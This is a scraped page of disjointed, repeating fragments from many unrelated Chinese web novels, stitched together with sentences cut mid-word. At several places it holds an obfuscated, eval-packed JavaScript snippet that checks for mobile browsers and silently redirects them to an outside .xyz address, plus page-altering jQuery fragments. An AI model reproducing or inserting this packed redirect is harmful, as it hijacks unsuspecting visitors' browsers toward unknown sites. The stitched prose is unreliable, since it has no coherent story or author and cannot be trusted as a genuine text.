“好了,我要开会了,你自己看着办,请务必取悦她。”莉莉娅的声音带着笑意,挂了电话。 苍玄庭没有直接拒绝“公主所言有理。”他只是说有理,却没有说答应,但是在司云霄的耳中却是前者,她这才松了口气,否则她都要对自己的魅力要失去信心了。 第132章 稀有的老家伙! 罗南生怕这位马赛销售员因为他的肤色和巴黎口音把事情‘搞复杂’了,改用吕贝隆地区方言对她说 “想不通你们城里人的想法,汽车不是为了引来陌生人的震惊和邻居的羡慕而发明的,它只是一个有轮子的铁盒子,作用是把东西从一个地方运到另一个地方,买新的有什么特别的好处吗?” 感谢远在阿普特工作的汽车销 “不过我建议你还是尽量离那个莫念远一点,作为一个有着变色龙能力的系统,我还是认为他不是个好鸟。”零五二一冷静的说道。 他就像踢皮球一样,一脚踢飞一个,一脚踢死一位,半空中仿佛绽放了盛大的礼花,爆裂在半空中的,却是一个个玄修者。 她既然主动上楼去,明显做好了潜规则的准备,只不过被摆了一道,对象换成了四个老男人而已。 一旁的杨山海看到这场卡,瞳孔不由缩了一下,但还是没有出声。 莫念一脸震惊的看着她,一肚子疑问却又无法表现,就变成了男神微张着嘴,摸了摸她的额头。 实际上,在万有力系科技的视野中,一切都非常简明。大质量天体也好,&nbp;&nbp;近光速运动物体也罢,都只是在宏观物质世界里的具体表现。时间拉伸的真正原因,&nbp;&nbp;是这片空间、一个物体的万有力张量系数。 在吕雷的笑声中跟我们开始了新一天的讨债之旅,第一家没找到人,楼道里也满是各个公司派人喷的污言秽语和讨债话,防盗门都被生生撬开,里面啥都没了。 随着夜时空的声音落下之后,一道道人影出现了,一共有近百人,而且为首的是三个地境巅峰的强者。 薄七橙说完,众人稍微有些失望,但一想到,既然不会太差,那就说明味道应该还是不错的,无论如何也要去尝一尝。 蔡氏对着守在外面的秦嬷嬷和卢嬷嬷说道,早前,她也劝了华姐儿,可是华姐儿根本不听,只好退而求其次,让下面的人多担待点了。 无论是在大城当中,亦或是在一些宗门势力中,每时每刻都有大量武者死去,面对实力强横的魔人,还有那些诡异的侵蚀魔气,战斗完全就是呈现出一面倒的趋势。 倾城的语气突然有些低落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860091|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虽然听得出来还有几分笑意,可这样的笑意在此刻听着却让月出云不由得有些心疼。 高琳华摇着头,这事儿,可不是圣上能保佑的了的,而且这些年来,没什么灾祸,朝廷怕是反应不够及时,到后面就愈发难以控制了。 吕向明几人身子一僵,都有些紧张的看着柳明亮,生怕他说出让他们不能接受的价格,从而少赚很多钱,再而影响儿子们娶妻。 雾岛号则中数弹起火,两座主炮塔被摧毁,舵机受损船舵卡住,水线部被打穿进水导致舰体左倾。15日凌晨三时,雾岛号被放弃,在萨沃岛西南处沉没。 柳老二两口子抱怨秦氏和柳田,抱怨柳清树夫妻两个好吃懒做,抱怨柳老大和王氏是寄生虫。 柳家村的变化确实很大,柳明燕也就三月没回来,感觉又不一样了。 “你这是在闹啥?”柳明燕不明白了,公司里需不需要人扫地,她会不知道? 上次开会就商讨了大数量人口失踪这一件事,以及可能发生的种种影响。所以在蒲阳走后,大家都各自回去了一趟,提醒做好准备,以免被肃清了。 第133章 您已经是一名合格的猎人了! 二手车买卖需要办理一些手续,不过那位销售员向罗南保证,她会用最快的速度办理完所有,让罗南尽快开上他心爱的敞篷车。 罗南对此深信不疑。 马赛人的确没有吕贝隆人淳朴,但他们的专业能力是吕贝隆人所不能比的。 就比如汽车买卖,还比如狩猎考试。 马赛的考试效率比阿普特快好几倍! 正想着,听得一阵清脆的玉石碰撞的声音,她收回思绪,抬眸,果然见太后在两个嬷嬷的搀扶下从内殿走了出来。 “你,不够看。”哪想到叶君天居然摇了摇头,那是气得王志差点一佛升天二佛出世了。 而且,这些怪物个个悍不畏死,彪悍到了极点,战斗力爆表,没有一个是善茬。 “我听着你的意思是,你接着封路了。”巴黎声音有些不什么爽问道。 但它里面的庞大药力还是强行让他理论上早已经是极限的内力,居然再次凭空增加了那么几丝。 一夜,睡得前所未有的踏实。【舞若首发】于他来说,是这样;于她来说,也是如此。这几天,是不是焦躁难宁,寝食难安,唯有彼此心里最清楚。 两个修为比起他而言都要强大的存在根本就不是那么能够轻易对付的了的,一个闹不好甚至自己都会折进去。 他们三人还都不知道叶远完美通关的事情,虽然听神秘人说叶远和他们不一样,但是具体不一样在哪里,他们却是不知道。 难道我会告诉他,我现在阴阳缠绵手,龙爪手,莲花宝鉴都都没成吗? 我的脑子大起来,完蛋,完蛋了,真的失去记忆了,还对我反胃了,我有一种要崩溃的感觉了。 当他从昏迷中苏醒之时,头部率先传来了一股头痛欲裂的痛楚,让他不禁惨呼出声,费了好大的力,才将眼皮掀开,而眼前的一幕,却是让他面色不禁一变,下意识的看了看自己的身子。 金逆挣脱不开自己的腿,只能双手挥拳,朝王勃打来,王勃不躲不避,只是一拳一拳轰在金逆的脸上!沉闷的“啪!啪!啪!”声音让不远处的其他人一阵阵心寒。 辛童脚下一跺,一片尘黄之气,自脚下冲起,弥漫中化作漫天花雨,瓢泼一般洒落而下,双目一凝之际,无形的心神冲击,像是一柄巨锤,重重的轮击在姜云衣脑海。 四面攻势都被挡了下来,而众人脚下的土坡已经升到两米的高度。 不只是生存与战斗本能,更是真正具备思索、联想等能力的、被人类命名为“智慧”并以此骄傲的存在。 成套武功的呆板及一旦施展就无法变招的缺点,让很多武者都不喜欢,但对自己操作很有信心的人,却喜欢用成套武功,因为它招式多,在只有五格武功栏的情况下,招式多,意味着有更多的应变手段。 尽管完全弄不清是什么回事,伍德还是把心里的疑虑压下。毕竟以所见所接触的感觉,这位年轻的天才水系法师实在是个少有温和而友善的强者,像抛弃好友这样的劣质事件,很难想象会发生在对方身上。 莫非转头,果然就看到艾琳娜脸上一闪而过的有所思。不过,有一点很明显,不管在座各位什么心态,起码看戏的心理都是一致的。解围什么,好吃么? “喂,也不至于这么沮丧吧。”一个带着戏谑的奇怪嗓音,突然在泰比背后响起。 二手车买卖需要办理一些手续,不过那位销售员向罗南保证,她会用最快的速度办理完所有,让罗南尽快开上他心爱的敞篷车。 罗南对此深信不疑。 马赛人的确没有吕贝隆人淳朴,但他们的专业能力是吕贝隆人所不能比的。 就比如汽车买卖,还比如狩猎考试。 马赛的考试效率比阿普特快好几倍! 正想着,听得一阵清脆的玉石碰撞的声音,她收回思绪,抬眸,果然见太后在两个嬷嬷的搀扶下从内殿走了出来。 “你,不够看。”哪想到叶君天居然摇了摇头,那是气得王志差点一佛升天二佛出世了。 而且,这些怪物个个悍不畏死,彪悍到了极点,战斗力爆表,没有一个是善茬。 “我听着你的意思是,你接着封路了。”巴黎声音有些不什么爽问道。 但它里面的庞大药力还是强行让他理论上早已经是极限的内力,居然再次凭空增加了那么几丝。 一夜,睡得前所未有的踏实。【舞若首发】于他来说,是这样;于她来说,也是如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860092|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此。这几天,是不是焦躁难宁,寝食难安,唯有彼此心里最清楚。 两个修为比起他而言都要强大的存在根本就不是那么能够轻易对付的了的,一个闹不好甚至自己都会折进去。 他们三人还都不知道叶远完美通关的事情,虽然听神秘人说叶远和他们不一样,但是具体不一样在哪里,他们却是不知道。 难道我会告诉他,我现在阴阳缠绵手,龙爪手,莲花宝鉴都都没成吗? 我的脑子大起来,完蛋,完蛋了,真的失去记忆了,还对我反胃了,我有一种要崩溃的感觉了。 当他从昏迷中苏醒之时,头部率先传来了一股头痛欲裂的痛楚,让他不禁惨呼出声,费了好大的力,才将眼皮掀开,而眼前的一幕,却是让他面色不禁一变,下意识的看了看自己的身子。 金逆挣脱不开自己的腿,只能双手挥拳,朝王勃打来,王勃不躲不避,只是一拳一拳轰在金逆的脸上!沉闷的“啪!啪!啪!”声音让不远处的其他人一阵阵心寒。 辛童脚下一跺,一片尘黄之气,自脚下冲起,弥漫中化作漫天花雨,瓢泼一般洒落而下,双目一凝之际,无形的心神冲击,像是一柄巨锤,重重的轮击在姜云衣脑海。 四面攻势都被挡了下来,而众人脚下的土坡已经升到两米的高度。 不只是生存与战斗本能,更是真正具备思索、联想等能力的、被人类命名为“智慧”并以此骄傲的存在。 成套武功的呆板及一旦施展就无法变招的缺点,让很多武者都不喜欢,但对自己操作很有信心的人,却喜欢用成套武功,因为它招式多,在只有五格武功栏的情况下,招式多,意味着有更多的应变手段。 尽管完全弄不清是什么回事,伍德还是把心里的疑虑压下。毕竟以所见所接触的感觉,这位年轻的天才水系法师实在是个少有温和而友善的强者,像抛弃好友这样的劣质事件,很难想象会发生在对方身上。 莫非转头,果然就看到艾琳娜脸上一闪而过的有所思。不过,有一点很明显,不管在座各位什么心态,起码看戏的心理都是一致的。解围什么,好吃么? “喂,也不至于这么沮丧吧。”一个带着戏谑的奇怪嗓音,突然在泰比背后响起。 第134章 马赛刚毛犬 罗南蹲下来,笑着仔细打量围栏里的一群小狗。 钢灰色毛皮,带深棕色斑点,脸上长满了胡子甚至挡到了眼睛。 他完全无法把眼前‘憨厚’的小狗们和威风凛凛的其他猎犬联系到一起。 它们看起来更像是潦草的‘拖布’,又或者是某些动画片的原型。 贝尼托自豪的介绍 “这是一种 “妈妈,你别扔了我,我不叫你妈妈就是了。”轻粉抱着她一根手指头死死不撒手,生怕她一个不满意就把太丢下去了。 膳房大厅摆放了不少圆桌,最后面是一排窗口,现在还没到吃晚饭的时候,没有什么人在。 “我去开门。”将菜篮子放在景厉琛的手,九儿一阵风似的跑去开门。 他完全不敢想象,要是赵兰真的把这一巴掌给扇下去了,他们一家会被那个神秘人怎么虐杀。 萧宝珠没叫,只是轻轻笑了笑,毕竟两人都不熟,赵琳开口就让萧宝珠叫她姐姐,萧宝珠也不好当着这么多人的面儿直接拒绝,那无疑是打了赵琳的脸,所以她只是笑了笑。 宋晓薇看到夏至大摇大摆离开的嚣张身影,心里似是有一股火在烧一般,气得她咬牙跺脚。 秋季联合运动会的第二天,因为不用比赛,庚浩世和队友们又是满满的一天训练。 牧尘苦笑两声,看来这猴子还挺记仇的,自己不收他为徒,他反倒还记恨上了。 他一指点出,一缕仙光融入了齐道临的仙灵,化作了一道‘天地大烘炉’的法门。 “罗南!你什么意思?趁着我父亲不在你就要造反?”芭芭拉从沈郢身后走出,大声的质问罗南。 有许多大燕国的百姓觉得,要是大燕国又跟大夏朝恢复良好的关系,说不定百姓就可以过上以前丰衣足食的好日子了。 因为他感受到了千年蛊此时的状态,在面对这只蛊蝶的时候,千年蛊也有些紧张起来。 “回大主人的话,这只队伍还算不上精锐部队,只能算中等偏上,不过属下培养的队伍绝对是兽人族中最勇猛的,无论是什么任务,只要下达命令,就会毫不犹豫的执行。”狼人有点自豪的说道。 轰的一声,黄符就像是倒在热油里的水那样溅起无数的火焰,火焰瞬间就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860093|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吞噬了野兽的身躯,伴随着嗤嗤声,野兽倒地不起,体内的怨气被火焰烧尽。 海辰打开了窗户,窗帘被风吹到外面,微微飘扬,他依靠在边上,看着面前的别样的风景。 敖东胜探头看了看脸上现出犹豫而恐惧的神色,我观其表情便知道他不知道怎样下去。 “烟冷,传国玉玺是何等尊贵!岂同儿戏?你可不要信口开河!”陈老爷子心念电转,却是立刻开口呵斥苏烟冷。 谢过白无悔我出了茶楼,一边走一边想这么多人都奔着龙凤石来了,但是龙凤石什么时候出现、在那出现呢? 而罗松心中也清楚,一旦完成霖家老祖交代的任务,就是他身死之时。 云墨看着林媚娩恬静的侧脸,回想起这样安静的她在凡间只有在睡着的时候才会出现,只要睁开眼睛,就会让人不寒而栗,周身都散发着冷冰冰的气息。 在自己如果想对白晋线动手的情况之下,这个据点控制区域将会是自己转移和撤退的最佳通道。因为这里的位置只要控制住几个要点,在撤退的时候不用担心落马和硚口的日伪军,对自己的转移行动带来威胁。 第135章 找到各自的‘幸福\’ 从斥候手里拿过药瓶,看了看,张煞也不禁有些心悸,这药还真是厉害,不愧是黄巾顶级宝药。 “嘿嘿”一阵尖利刺耳的笑声传来,在雨中的金不换众人不由面色一变! 众人听了他的话都是一脸的绝望,现在连最后一点求救的希望也破灭了,现在的她们只希望外面的两个大家伙来一个两败俱伤,或者那两个大家伙到别的地方去打架,他们趁机偷偷地溜走了。 淳于皮皮也惊艳于那些五光十色的珠子,苍白的脸上露出了欣喜的神色,但瞧见朱盈盈的行为后,便瘪瘪嘴神情瞬间不屑起来。 单于是知道的,大宋里对匈奴有威胁的人太多了,空亡只算到了西北这些,但旁观者清,单于能猜到即使自己击败了西北的威胁,威胁也不会结束,大宋深处只会有更多的新威胁诞生。 “那个孙悦发现自己抓错人之后会不会一怒之下就把昕溪给……”想到这里,程凌芝俏脸顿时一片苍白。 岳非却是抓住这一机会把手一挥,利用金属手刀削掉班朝的头颅。 听到叶名城三个字,姜铭就有点呆,妹妹这是什么眼神,怎么喜欢那家伙? “该轮到我来给你赔礼了。”突然袁绍英俊的面孔上出现坏坏的笑容。 “呜呜呜!公子不要再取笑俺了,俺今天还一双鞋都没卖出去呢,今晚又得饿着肚子睡觉了。”呆萌的刘备可怜的不要不要的。 这种意识虽然跟本体一样,本体能做的事情他都能做,比如吃饭喝水甚至是生孩子,但意识如果消亡,本体只不过是受到重创而已。 “马的,弄车带我去医院!”古老三怒吼着,如果再不去医院,他的手肯定是要废,脑袋也感觉不灵了。 为了安慰卖儿,劝导卖儿,庄子不得不问一下卖儿,然后再劝说她,该花的银子还是要花的。该省的地方省,有些银子是必须花的,省不掉。 闻言,方蔷不禁有些诧异地说道,旋即招了招玉手,把月仙华的娇躯拉了过去。 话音刚落,毛发异能者就朝艾娃冲了过去,有之前寒气异能者的例子,他心里明白,要想赢得这场挑战,他必须先下手为强,在艾娃开口之前,把她制住,这是他唯一的机会。 方蔷那美艳绝伦的俏脸上在发问时,流露的是极其期待的神情,说话的语气自然也就很迫切。 陈玉娇自从再见刘海之后,听到刘海想要前往凌天位面,取得最后一块玉玺碎片。便以怕净天宗追杀,相互照应为由,要求一路跟随刘海。 单单以蔡清明的人马还不足以和他掌控的陈家抗衡。但是,加了个能够召唤通灵生物战斗的林家,那可就不一样了。 从这个侧面也能看出那几人的战斗素养跟叶某人比较完全不在一个档次上嘛。 原来,这位了空大师,和悬空寺有着颇深的渊源,年轻时甚至还是悬空寺的了字辈僧人。 可就在鬼七扑上来的时候,另一侧忽然传来破风声,他不得不挥动弯刀低档,这一分神的功夫,换成孟凡逮到了机会。双手撑地,打脚底板对着鬼七连踢了两下。 蚂蚁不会站在人的角度去看蚂蚁窝。因为以蚂蚁的思想和想象,是看不到也想不到的。 杨雪娥有意提携孟凡,自然会安排人帮孟凡做很多事情,比如孟凡的联系方式,家庭地址告诉才加聚会的客人。甚至还将孟凡带来的一株灵芝拿出来展览。 风起若狂,气劲飞泻,场中的人顿有窒息之感。双剑竟然在万分之一的机率下一触即分,如电光石火般撞出绚烂的火花。 虽然他心里委实不愿意如此,可为了林家的源远流长和辉煌,他不得不有所隐忍。 陆夫人看了眼陆老爷,后者对她微微一笑,陆夫人心领神会,带着春雯先退到里屋去了。 “你要是考了第一名,可以和她一起拍个合照都没问题的!”肖云飞笑着说道。 有什么好说的,周围几十个拿枪的士兵围着,装甲车在他身后,正面是坦克,炮筒子在头上悬着。有拒绝的余地吗,两个老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860094|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家伙摆明吃定他了,不愿意也得愿意。 那高级警务人员对着下属们就是一顿的教训,看来钱权财这种东西到哪里都是好用的。 羽翼族,也可以说是天使族,似乎高等血脉能够直接压制低等血脉,以苗碟的血脉,目前整个羽翼族无人能反抗。 月倾欢倒是没看出来有什么机关,但御千澈这样说,那就不会错的。 月倾欢的心情不禁变得很复杂,这样下去的话,她迟早要跟自己的亲姐姐对战。 慕容惜月就这样被娘亲抱在怀里,哼哼唧唧的,也没再乱发脾气。 林夕瑶拒绝了他,然后便把这段时间发生的事情同他讲了一遍,原来在他待在这里的这段时间里,竟发生了这么多的事情。 这是他目前通过观察得知的,他心里基本是清楚的,听一下,于他们而言有利面更多,故而才会这么提醒。 宴会上,孤清含喝过几杯后,就开始不断对御千澈倾吐他和玉蝴蝶之间的事。 云璇音恨着,即使在知道了月倾欢是狐族恩人以后,嫉妒仍然像一条毒蛇缠绕在她心脏上。 赵宁宁,莎莎是你的妹妹, 同时,她也是我的妹妹。这说明了什么?说明我们有缘,我们原本就是要做一家人的。这是老天注定了的,你就认命吧。 老鸨子自说自乐,陆豪已被气得七窍生烟,本想挥拳揍这老鸨,又觉得没什么用,只得等着她笑完了再说。 都说热闹都是他们的,我什么都没有。但是最后我才发现,热闹真的是他们的而我真的什么也没有。 同时,她也是我的妹妹。这说明了什么?说明我们有缘,我们原本就是要做一家人的。这是老天注定了的,你就认命吧。 老鸨子自说自乐,陆豪已被气得七窍生烟,本想挥拳揍这老鸨,又觉得没什么用,只得等着她笑完了再说。 都说热闹都是他们的,我什么都没有。但是最后我才发现,热闹真的是他们的而我真的什么也没有。 第136章 卢尔马兰的焦点 就像卢尔马兰的村民们无法理解罗南为什么要把卫生间装修成三种不同的风格一样。 他们也同样无法理解,罗南为什么要花钱修一辆1961年的汽车。 这一次,连皮埃尔都无法替罗南说话了 “你为什么要买一辆1961年的车?那你还不如把我的皮卡买走,它是1972年的。” 普罗旺斯遍地老爷车 之前是他没的选,这才硬着头皮男上加男,现在系统的支线任务既然给了他重振雄风的希望,那么他自然不用在以这种方式来弥补生理和心理上的空虚。 转瞬之间,剑截门的人好似冰雹一般自空中坠落,重重地摔在了地上,人人身受剑伤,但受的皆非夺命之伤,可见秋怀慈动手之时,还是留了余地的。 以后,除了斧头帮之外,已经没有多少个势力敢和青狼帮作对的了。 蜜蜜与翻翻刚刚蹲下身子,冒出头来,两双贼贼的眼睛自窗户外面瞅向厅内的秋怀慈与云舒儿,这时,随着秋怀慈一个挥手,一股柔和的真气便卷向了它们。 以他的实力,哪怕是打穿整个极乐宫也是轻而易举的事情,可云世宝并不想那么做。 她故意跳转了话题,明知道对方此时正在为那八十几块的打的费心疼到无以复加,同时又对她没有事先告诉他路途这么远却怂恿他打车这件事而耿耿于怀。 据他们估计,邪君临的实力,起码都是九重天巅峰,甚至是那王者之境。 除了远在海外保护我父母的宫重和牡丹不在,方内道馆骨干算是倾巢出动了。 宁鱼茹一大碗心灵鸡汤喂下,王狂彪脸色好多了,腿也不颤了,似乎,胆量又回来了。 “这家伙,瘦了之后竟然这么帅,不知…”也不知想到了什么,爱迪莉露脸上突然布满红晕。 吴天狼只能是选择低头,不过望着王辰的那摸眼神中,绝对是充满着浓郁的杀气。 叶浩川顺势选了几个靠得住的人,升为执事,掌管外门诸多弟子,让华兴宗越发的井井有条起来。 陆羽一边想着,一边用该植物的藤,将这几块块根的根须,绑在了一起,然后架在了随身带的棍子上,再往肩膀上一扛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860095|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待稳定心神,发现下方百丈之地被炸出个近两丈余的深坑,顿时心惊胆颤,终于明白这玩意的可怕之处,怪不得面对她这个洞虚级修士没半点惧意。 同时,还在感受着来自东南方的风,风很大,这些风,也算是环境的一个因素,要先确定一番。 如果一开始就不借助空间手环,陆羽不知道自己要失败多少次才能成功炼制出辟谷丹,也不知道要浪费多少材料。 而一下子,全场的气氛就火爆起来,这样的开幕式想让气氛不火爆也不行。 卡德尼古拉伸手挡下了罗裙裤那致命的一拳,掌对拳,看似不起眼的碰撞,可却是爆发出了绝对可怕的冲击力,就连王辰这样的体魄也是不自主的晃动了一下身体。 叶昊闻言轻轻的点了点头,这个决定,与之前突围的策略如出一辙。唯一不同的就是,因为主神的出现,他们突围的这条路将轻松得多。 看样子他已经把龙震天当做了自己的粮食,准备把他吃进肚子再说了。 陆辛看得眼都直了,硬是看着他将一瓶酒灌进了肚子里,然后脚步踉跄了一下。 第137章 罗南一定是疯了! 一夜未合眼,早上给叶樱做好饭,叮嘱叶樱不要出去,叶向便去寻找穆凌雪。 当天晚上,他就把歌曲的编曲意见整理了一下,然后第二天一大早发给了王晨刚,让对方做伴奏去了。 之所以说出那种话,只是为了让我死心塌地,彻底断绝对她的任何想法。 他那些西装革履的手下仿佛上了发条一般,各自按照各自的行动轨迹运行起来。 他把人往床上重重一甩,陆丹惠人砸在床上,背屁股腿浑身都疼。 此事主力船离对面的船只不到十米。主力船的人能清晰地看到对面船只上敌人的面部表情。宝船比三桅船高,对面抬头也看不到甲板上的人。 而李一牧粉丝应该是最遵守的,因为别的可能只是形式主义,也就那么一说。 良才将她一把抱住,放在隔壁房间的墙角。又布置了一个幻术禁制。这样就算有人路过也只以为那里是空无一人的墙角。 李申大喝一声,手脚起落上下相随。转瞬飞身到了相距至少二米的熊师傅面前!而李申那冷冽的眼神也清晰地映入熊师傅不断收缩的瞳孔中。他下意识地一拳砸向李申门面。 出租来到荆城比较偏僻的地段停下,男子进入黝黑的巷子,在巷子的尽头,是一个酒吧。 最后那一声“滚”叫的声音不大,但震得我两耳“嗡嗡”直响,感觉灵魂都差点被一股力量给撞出体外,拉着我手的刘青玄也禁不住身体晃动了一下。 程诺在娱乐圈的一举一动皆是让人大跌眼镜。她在光芒四射的时候,急流勇退,离开了光影传媒这棵大树,签约刚刚成立的经纪公司星河传媒,更是令人捉摸不透。 慕容英传言已经到了先天后期,全省也难以找出一个对手来,岂是一个少年能够对付的? “真是没想到,我们与欧兆一日竟然还能够坐在这里谈话呢,我还以为这一辈子都不会有这样的事情发生了。”尚岩瞥了一眼周良,有些不善的说道。 上官云穿好衣裤,回头见宁玖儿含笑睡着了,他不敢打扰,也不愿离开半步,干脆就地坐下调整内息,试试能不能将药力化尽。他运功内视,忽然大惊而起,随即又突然明白过来,不由露出笑意。 在龙剑飞的眼镜中出现了这个入口信息。显然他之前所分析的都是对的,因为流量过大,周边五十米范围内没有任何球状设备,但在边缘的球状设备却与其他位置不同,因为它们并没有待机,而时时刻在巡逻这个入口。 接到封潇潇的电话之后,林子均没有再犹豫,他立刻搭乘最早的班机回了京城。 杨青也欲来夺神功秘笈,却被辛坎回手一鞭打在手背,当即肿起老高,他心有不甘,却又自知不敌,并不敢上前半步。 以前在接触的过程中慕姗姗就知道封潇潇是易寒的心头肉,但是她也知道黄金狼对易寒来说也是非常难对付的对手,错过她提供的消息,易寒未必能够在京城把黄金狼抓到。 程言和邓麟刚停好车,就看到了这样的一幕,虽没听清楚她们说了什么,但一看到钟离出现,他就知道肯定不会是什么好事。 叶词也心情颇好,拿出早就准备好的烤肉和美食,一块一块的丢给老四。 那种待嫁的心情,能嫁给自己心爱的男人的喜悦,唯有经历过的人,才会明白,是怎样的一种憧憬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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热季已经过去大半,大地也有了些许缓和,凉风时不时穿过皮肤引起舒适。云柒擦了擦鬓角的汗水,感受着难得扑面而来的一场风。 起初,殷枫本以为真的只是狐魅术的效果才令自己对纯狐婕格外地关注。现在看来,若是自己没有动心,狐魅术又怎会得逞。 东姿现在是双胞胎的铁杆粉丝,也上前骂骂咧咧的“偷了别人的技术也不懂得感恩,俏儿和薰儿无私的分享给我们,她还一副当作自己的样子,果然是奴咳咳咳。”说话的时候太激动被自己的口水给呛到了。 “教廷的十字军团果然是这世上最强的战士组织,以我现在之力还不能以一敌二么……”明人皱起了眉头,额头上布满了豆大的汗珠,最后也不知道他点了自己身上的那几个穴位,总算是把血给止住了。 “是,县主。”白芷微微勾了勾唇,解开了吴夫人的穴道,顺道做了一个请的手势,那吴夫人一步三回头的看了看叶馨,最终还是咬牙离开。 “陆昭去找淳安郡主借衣服,他做生意的,想要找寻相似的布料更容易些。”叶馨淡淡道。 而看到大蛇丸的这个造型,纲手和自来也都是满脸惊讶。心里也有些明白大蛇丸用了什么方法替换了别人的身体。 看她眼中茫然,沅安就知她没品出个中深意,操心地跟她解释起来。 “这里是魔兽的地盘,我们这点人杀回去必死无疑!如果继续待在这里,我怕萧月儿会带着魔兽来进攻!现在,唯一的生路就是。。。与联军汇合!”楚嫣冷静的分析起了现在的局势。 “呵呵,就是出去转转而已。”林枫还是那个回答,他没必要告诉刘婧真话。 “我没有任务可以给你,不过你的导师,米特尔应该是有任务会让你去完成的!”亚莉斯说道。 “何君,今日一别不知什么时候才能相见了!”长空无极潇洒地抱拳,仿佛只是回去赴一场晚宴。 仙香门的正殿设在最高的天心峰,秦阳踏上天心峰的第一刻,立即感应到天心峰上充足的灵气,一个修仙者若在此修炼的话,能起到事半功倍之效。 最叫人难以相信的就是在训练完成的这天晚上,一些战士出去喝酒庆祝,结果不知道怎么回事却和宪兵队的战士闹了起来。结果这些经过何若智特训的家伙居然战胜了比自己多十倍的宪兵!整个过程只‘花’了五分钟! 任谁也没有看到,在这个时候他兜里的聚魂镯突然发起亮光,在他的兜里闪耀起来,由于被衣服遮挡住,而使人无法看清。 辰寒和寇勋对超级势力的了解,仅限于道听途说,很多内部的真实情况风衍也不知道,就像这执事到底是什么东西。 何若智知道就算掌握了破晶击的秘法,自己和沙武雷之间还是存在着一定的差距,若要想击败完全充足能量的沙武雷是根本不可能的。 “放心,人家这么大公会的会长和副会长,肯定不会让我吃亏的。”我笑着说道。 也难怪,正常人都不会无聊到跳崖吧,自己就发现不了,悬崖底下还有一张地图。 “若是再敢辱我,尽可上来一战!”韩狼撤去了魔化之力,毕竟那样太过消耗。 费震与张天符兄弟四人饱饮一顿,都振奋不已,游荡在洞内,飘来飘去。 李亦杰脸色一沉,喝道“你阻止不了我!”他此时的歇斯底里,正说明了玄霜猜测无误。 豫州有两个著名的太守,因为豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860097|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州只有两个太守,一个是汝南太守赵谦,一个是颍川太守李旻。此时,三万东拼西凑而成的豫州兵马,正由李旻带领,从鲁阳出发,渐渐往梁县和阳人而来。 